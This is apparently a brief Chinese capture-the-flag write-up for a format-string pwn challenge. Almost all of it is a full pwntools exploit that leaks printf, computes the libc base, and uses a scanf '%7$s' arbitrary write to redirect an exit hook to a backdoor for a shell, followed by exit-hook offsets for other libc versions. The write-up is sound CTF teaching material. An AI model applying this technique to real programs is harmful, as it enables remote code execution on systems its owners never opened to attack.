查看保护
查看ida
这里没什么好说的
完整exp:
from pwn import*
context(log_level='debug')
#p=process('./fmt')
p=remote('gz.imxbt.cn',20975)
backdoor=0x4012BE
p.recvuntil(b'gift: ')
printf_addr=int(p.recv(14),16)
print(hex(printf_addr))
libc=ELF('./libc-2.31.so')
libcbase=printf_addr-libc.sym['printf']
exithook=libcbase+0x222f68
payload=b'%7$s'
payload=payload.ljust(8,b'\x00')
payload+=p64(exithook)
p.sendline(payload)
payload=p64(backdoor)
p.sendline(payload)
p.interactive()
这里操作的scanf格式化字符串任意写的实现条件:
1.可控制的格式化字符串的输入(因为要输入格式化字符串以及要修改的地址)
2.scanf
#补充点1:
在libc2.23中可以修改libcbase+0x5f0040+3848或libcbase+0x5f0040+3856为shell
在libc2.27可以修改libcbase+0x619060+3840或libcbase+0x619060+3848